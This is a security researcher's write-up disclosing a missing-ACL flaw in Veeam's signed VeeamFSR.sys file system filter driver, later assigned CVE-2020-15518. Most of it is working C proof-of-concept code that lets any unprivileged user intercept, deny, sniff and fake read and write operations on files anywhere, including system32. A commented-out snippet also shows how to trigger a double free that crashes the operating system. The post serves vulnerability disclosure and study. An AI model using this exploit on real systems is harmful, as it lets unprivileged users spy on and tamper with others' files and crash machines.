Veeamon

Veeam ships a signed file system filter with no ACL on its control device object. The driver allows to control all IO operations on any file in the specified folder. By abusing the driver, an attacker can sniff and fake reads, writes, and other IO operations on any file in the file system regardless of its permissions.

Some time ago, I stumbled upon the Veeam backup solution. Among other files, the installer drops VeeamFSR.sys: a file system filter driver signed by Veeam. A quick overview in IDA showed no DACL on the device object, hence full access to Everyone. So, I decided to take a deeper look. VeeamFSR exposes a set of IoCtls that allow any user-mode application to control all IO operations on the specified folder and its child objects. Once the app specifies the folder to monitor, the driver will pend all IO related to the folder and its children and notify the app about the IO. The app, in turn, can pass the IO, fail it, get the data of the IO, or even fake it. I wrote a small PoC that shows how to manipulate VeeamFSR for fun and profit.

[Setting things up]

First of all, we have to open the control device and tell the driver which folder we want to monitor. CtlCreateMonitoredFolder is a wrapper over the IOCTL_START_FOLDER_MONITORING IoCtl. This IoCtl receives the following struct as an input parameter:

struct MonitoredFolder
{
    HANDLE SharedBufSemaphore;
    DWORD d1;
    HANDLE NewEntrySemaphore;
    DWORD d2;
    DWORD f1;  //+0x10
    DWORD SharedBufferEntriesCount; //+0x14
    DWORD PathLength; //+0x18
    WCHAR PathName[0x80]; //+0x1C
};

and outputs:

struct SharedBufferDescriptor
{
    DWORD FolderIndex;
    DWORD SharedBufferLength;
    DWORD SharedBufferPtr;
    DWORD Unk;
};

Once the call to DeviceControl succeeds, VeeamFSR will wait for all calls to (Nt)CreateFile that contain the monitored folder in the pathname. All such calls will end up in a non-alertable kernel mode sleep in KeWaitForSingleObject. The second important thing is to unwait these calls with the IOCTL_UNWAIT_REQUEST IoCtl. Failing to do so leads to application hangs. By the way, passing UnwaitDescriptor::UserBuffer to the IoCtl causes a double free in the driver, so if you want to kaboom the OS, this is the way to do it. (See CtlUnwaitRequest for details)

Internally, VeeamFSR creates and maintains lists of objects that represent monitored folders, opened streams, and a few other object types, quite similar to what the Windows object manager subsystem does. Every object has a header that contains a reference counter, a pointer to the object methods, etc. The constructor of the MonitoredFolder object, among other things, creates a shared kernel-user buffer in the context of the controller app. Funny, for some reason Veeam developers think that only a contiguous buffer can be mapped to user-mode memory.

The app receives the pointer to the buffer in the SharedBufferDescriptor::SharedBufferPtr field, which is an output parameter of the IOCTL_START_FOLDER_MONITORING IoCtl. VeeamFSR writes the parameters of IO to the buffer and notifies the app about the new entry by releasing the MonitoredFolder::NewEntrySemaphore semaphore. The controller app might manipulate the IO data in the shared buffer before unwaiting the IO request. Every entry in the buffer consists of a predefined header that identifies the IO and a body which is operation dependent:

struct CtrlBlock
{
    BYTE ProcessIndex;
    BYTE FolderIndex;
    WORD FileIndex : 10;
    WORD MajorFunction : 6;
};

struct SharedBufferEntry
{
    //header
    DWORD Flags;
    union
    {
        CtrlBlock Ctrl;
        DWORD d1;
    };

    //body
    DWORD d2;
    DWORD d3;

    DWORD d4;
    DWORD d5;
    DWORD d6;
    DWORD d7;
};

Now we have everything we need to build a basic IO pump that enables monitoring for the ‘c:\tmp’ folder, logs open calls to the console, and unwaits them. Throughout the post, I will extend the snippet by adding features such as IO monitoring, failing, and faking. See the full code on GitHub.

int wmain(int arc, wchar_t** argv)
{
    if (arc != 2)
    {
        printf("Usage: veeamon NativePathToFolder\n");
        return -1;
    }

    HANDLE hDevice = CreateFileW(L"\\\\.\\VeeamFSR", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_EXISTING, 0, 0);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("CreateFileW: %d\n", GetLastError());
        return -1;
    }

    HANDLE SharedBufSemaphore;
    HANDLE NewEntrySemaphore;
    WORD CurrEntry = 0;

    PCWCHAR Folder = argv[1];
    if (CtlCreateMonitoredFolder(
        hDevice,
        Folder,
        &SharedBufSemaphore,
        &NewEntrySemaphore) == FALSE)
    {
        printf("Failed setting up monitored folder\n");
        return -1;
    }

    printf("Set up monitor on %ls\n", Folder);
    printf("FolderIndex: 0x%x\n", SharedBufDesc.FolderIndex);
    printf("Shared buffer: %p\n", (PVOID)SharedBufDesc.SharedBufferPtr);
    printf("Shared buffer length: 0x%x\n", SharedBufDesc.SharedBufferLength);
    printf("Uknown: 0x%x\n", SharedBufDesc.Unk);
    printf("\nStarting IO loop\n");

    SharedBufferEntry* IOEntryBuffer = (SharedBufferEntry*)SharedBufDesc.SharedBufferPtr;
    SharedBufferEntry* IOEntry;

    for (;;)
    {
        LONG l;

        ReleaseSemaphore(NewEntrySemaphore, 1, &l);
        WaitForSingleObject(SharedBufSemaphore, INFINITE);

        printf("Entry #%d\n", CurrEntry);

        IOEntry = &IOEntryBuffer[CurrEntry];
        switch (IOEntry->Ctrl.MajorFunction)
        {
        //
        // IRP_MJ_XXX and FastIo handlers
        //
        case 0x0: //IRP_MJ_CREATE
        case 0x33: //Fast _IRP_MJ_CREATE
        {
            PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);
            CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

            break;
        }
        default:
        {
            CHAR OpName[40]{};
            sprintf_s(OpName, 40, "IRP_MJ_%d", IOEntry->Ctrl.MajorFunction);
            PrintEntryInfo(OpName, IOEntryBuffer, &IOEntryBuffer[CurrEntry]);

            break;
        }


        //
        // Special entry handlers
        //
        case 0x37: //Name entry
        {
            printf("\tADD\n");

            switch (IOEntry->d2)
            {
            case ProcessEntry:
                printf("\tprocess: %d\n", IOEntry->d6);
                ProcessMapping[IOEntry->d3] = CurrEntry;
                break;
            case FileEntry:
                //.d4 == length
                printf("\tfile: %ls\n", (PWSTR)IOEntry->d6);
                FileMapping[IOEntry->d3] = CurrEntry;
                break;
            case MonitoredEntry:
                //.d4 == length
                printf("\tmonitored dir: %ls\n", (PWSTR)IOEntry->d6);
                break;
            }

            break;
        }
        case 0x38:
        {
            printf("\tDELETION\n");
            switch (IOEntry->d2)
            {
            case ProcessEntry:
                printf("\tprocess\n");
                break;
            case FileEntry:
                printf("\tfile\n");
                break;
            case MonitoredEntry:
                printf("\tmonitored dir\n");
                break;
            }
            printf("\tindex: %d\n", IOEntry->d2);

            break;
        }
        case 0x39:
        {
            printf("\tCOMPLETION of IRP_MJ_%d, index = %d, status = 0x%x, information: 0x%x\n",
                IOEntry->d2,
                IOEntry->d3,
                IOEntry->d4,
                IOEntry->d5);

            break;
        }
        case 0x3A:
        {
            printf("\tWRITE-related entry\n");
            break;
        }
        }

        printf("\t0x%.8x 0x%.8x  0x%.8x 0x%.8x\n", IOEntry->Flags, IOEntry->d1, IOEntry->d2, IOEntry->d3);
        printf("\t0x%.8x 0x%.8x  0x%.8x 0x%.8x\n", IOEntry->d4, IOEntry->d5, IOEntry->d6, IOEntry->d7);

        CurrEntry++;
        if (CurrEntry >= 0x200)
        {
            break;
        }
    }

    CtlDestroyFolder(hDevice, 0);
    CloseHandle(hDevice);

    printf("Press any key...\n");
    getchar();

    return 0;
}

With the snippet running on \Device\HarddiskVolume1\tmp, navigating to the ‘tmp’ folder triggers a bunch of open calls in Explorer.exe:

[Deny everything]

VeeamFSR provides several options for handling waited IO requests:

1. Pass through the request (boring).
2. Deny access (better).
3. Sniff request data (toasty).
4. Fake request data (outstanding!).

The controller app communicates its decision to the driver by passing one or more flags from the RequestFlags enum to the CtlUnwaitRequest function, which serves as a wrapper for the IOCTL_UNWAIT_REQUEST IoCtl.

enum RequestFlags : BYTE
{
    RF_CallPreHandler = 0x1,
    RF_CallPostHandler = 0x2,
    RF_PassDown = 0x10,
    RF_Wait = 0x20,
    RF_DenyAccess = 0x40,
    RF_CompleteRequest = 0x80,
};

BOOL CtlUnwaitRequest(
    HANDLE hDevice,
    CtrlBlock* Ctrl,
    WORD SharedBufferEntryIndex,
    RequestFlags RFlags
)
{
    struct UnwaitDescriptor
    {
        CtrlBlock Ctrl;

        DWORD SharedBufferEntryIndex;
        RequestFlags RFlags;
        BYTE  IsStatusPresent;
        BYTE  IsUserBufferPresent;
        BYTE  SetSomeFlag;
        DWORD Status;
        DWORD Information;
        PVOID UserBuffer;
        DWORD d6;
        DWORD UserBufferLength;
    };

    DWORD BytesReturned;
    UnwaitDescriptor Unwait = { 0, };

    Unwait.Ctrl.FolderIndex = Ctrl->FolderIndex;
    Unwait.Ctrl.MajorFunction = Ctrl->MajorFunction;
    Unwait.Ctrl.FileIndex = Ctrl->FileIndex;
    Unwait.SharedBufferEntryIndex = SharedBufferEntryIndex;
    Unwait.RFlags = RFlags;

    Unwait.IsUserBufferPresent = 0;

    // Uncomment the code below to crash the OS.
    // VeeamFSR doesn't handle this parameter correctly. Setting IsUserBuffPresent to true 
    // leads to double free in the completion rountine.
    //Unwait.UserBuffer = (PVOID)"aaaabbbb";
    //Unwait.UserBufferLength = 8;
    //Unwait.IsUserBufferPresent = 1;


    BOOL r = DeviceIoControl(hDevice, IOCTL_UNWAIT_REQUEST, &Unwait, sizeof(Unwait), 0, 0, &BytesReturned, 0);
    if (r == FALSE)
    {
        printf("UnwaitRequest failed\n");
    }
    return r;
}

Passing the RFlags_PassDown flags tells the driver to pass through the request. This is what we did in the previous sample. On the other hand, passing the RFlags_DenyAccess flags instructs VeeamFSR to fail the IRP with the status STATUS_ACCESS_DENIED. The snippet below checks the filename of the open operation and fails it if the name contains ‘Cthon98.txt’

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    PCWCHAR ProtectedName = L"\\Device\\HarddiskVolume1\\tmp\\Cthon98.txt";
    DWORD EntryNameIndex = FileMapping[IOEntry->Ctrl.FileIndex];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], ProtectedName))
    {
        printf("Denying access to %ls\n", ProtectedName);
        CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_DenyAccess);
        break;
    }

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}

[Sniffing writes, sniffiing reads]

Accessing request data is a bit trickier. Depending on the operation, the data might be available before or after the IRP is completed. This is where the RF_CallPreHandler and RF_CallPostHandler flags come into play. VeeamFSR provides pre and post handlers for all IRP_MJ_XXX functions and maintains an array of RequestFlags enumerations for every opened file. Each entry in the array defines how VeeamFSR should handle the call to the corresponding IRP_MJ_XXX function, regardless of whether it was waited on or not. Setting the RF_CallPre/PostHandler flag for an entry instructs the driver to execute pre/post handlers for all calls to the function, while setting the RFlags_DenyAccess flag fails all requests. The default value for all functions (except for IRP_MJ_CREATE) is RFlags_PassDown. The default for IRP_MJ_CREATE is RF_Wait.

To sniff writes, we have to enable the pre-operation handler for the IRP_MJ_WRITE function. The handler allocates memory in the controller app process, copies the write data to the allocated memory, and notifies the app by creating an IRP_MJ_WRITE entry in the shared buffer. Similarly, read sniffing works; however, it requires a post-operation handler instead of a pre-operation handler. Note that in both cases, RFlags_PassDown should be ORed with the flags since we want to pass the request down the stack. The following snippet enables read and write sniffing:

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    FlagsDescritptor FlagsDescs[2];
    FlagsDescs[0].Function = 3; //IRP_MJ_READ
    FlagsDescs[0].RFlags = (RequestFlags)(RF_PassDown | RF_CallPostHandler);
    FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
    FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    CtlSetStreamFlags(hDevice, &IOEntry->Ctrl, FlagsDescs, 2);

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}
case 0x3: //IRP_MJ_READ
case 0x1D: //Fast IRP_MJ_READ
{
    PrintEntryInfo("IRP_MJ_READ", IOEntryBuffer, IOEntry);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    PrintBuffer(Buffer, Length);

    break;
}
case 0x4: //IRP_MJ_WRITE
case 0x1E: //Fast IRP_MJ_WRITE
{
    PrintEntryInfo("IRP_MJ_WRITE", IOEntryBuffer, &IOEntryBuffer[CurrEntry]);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    PrintBuffer(Buffer, Length);

    break;
}

Note that sometimes applications map files to memory instead of reading or writing them, so opening a file in Notepad does not always trigger IRP_MJ_READ/WRITE operations

[Faking reads]

Yet another delicious feature that VeeamFSR provides, namely to Everyone, is faking read data. This is what the RFlags_CompleteRequest flag is intended for. Setting this flag for the 3rd (IRP_MJ_READ) entry of the file’s array of flags tells the driver to pend read requests and to map read buffers to the controller app’s address space. The controller app might fill the buffer with fake or modified data and complete the request, passing the RFlags_CompleteRequest flag to apply changes. Unwaiting requests with this flag instructs the driver to complete the request using the IoCompleteRequest function instead of sending it to the actual file system driver. Thus, the controller app can actually fake data of any read operation in the OS. Pure evil, eh? The following snippet fakes the content of AzureDiamond.txt with ‘*’ symbols, while the real content of the file is the ‘hunter2’ string:

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    FlagsDescritptor FlagsDescs[2];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], FakeReadName))
    {
        FlagsDescs[0].Function = 3; //IRP_MJ_READ
        FlagsDescs[0].RFlags = RF_CompleteRequest;
        FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
        FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    }
    else
    {
        FlagsDescs[0].Function = 3; //IRP_MJ_READ
        FlagsDescs[0].RFlags = (RequestFlags)(RF_PassDown | RF_CallPostHandler);
        FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
        FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    }
    CtlSetStreamFlags(hDevice, &IOEntry->Ctrl, FlagsDescs, 2);

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}
case 0x3: //IRP_MJ_READ
case 0x1D: //Fast IRP_MJ_READ
{
    PrintEntryInfo("IRP_MJ_READ", IOEntryBuffer, IOEntry);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    DWORD EntryNameIndex = FileMapping[IOEntry->Ctrl.FileIndex];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], FakeReadName) == FALSE)
    {
        PrintBuffer(Buffer, Length);
    }
    else
    {
        printf("Faking read buffer with '*' for %ls\n", FakeReadName);
        for (unsigned int i = 0; i < Length; i++)
        {
            Buffer[i] = '*';
        }
        PrintBuffer(Buffer, Length);
        CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_CompleteRequest);
    }

    break;
}

[Breaking bad]

For the sake of simplicity, all previous examples monitored the ‘c:\tmp’ folder. What if we want to monitor a higher-ranking directory, say, ‘system32’ or ‘system32\config’? Easy as pie! Everything written above works for any directory in the OS; you just need to provide the path name to the CtlCreateMonitoredFolder function. The screenshot shows the output of monitoring the ‘c:\windows\system32’ directory:

[EOF]

I didn’t reverse all the pre, post, and other handlers of the driver. It actually handles most, if not all, IRP_MJ_XXX requests directed to the file system, granting non-privileged users complete control over file system IO operations.

The vendor was notified about the problem approximately six months ago and has not taken action to address it. I guess they don’t care.

Update: It turns out they eventually did fix it. The vulnerability was discovered ages ago, and while I don’t remember all the details of the exposure process, I recently stumbled upon a CVE entry that describes the vulnerability. Someone, maybe even the vendor, requested the CVE ID. Here it is: https://nvd.nist.gov/vuln/detail/CVE-2020-15518.

Full code and the driver binary are available at the repository.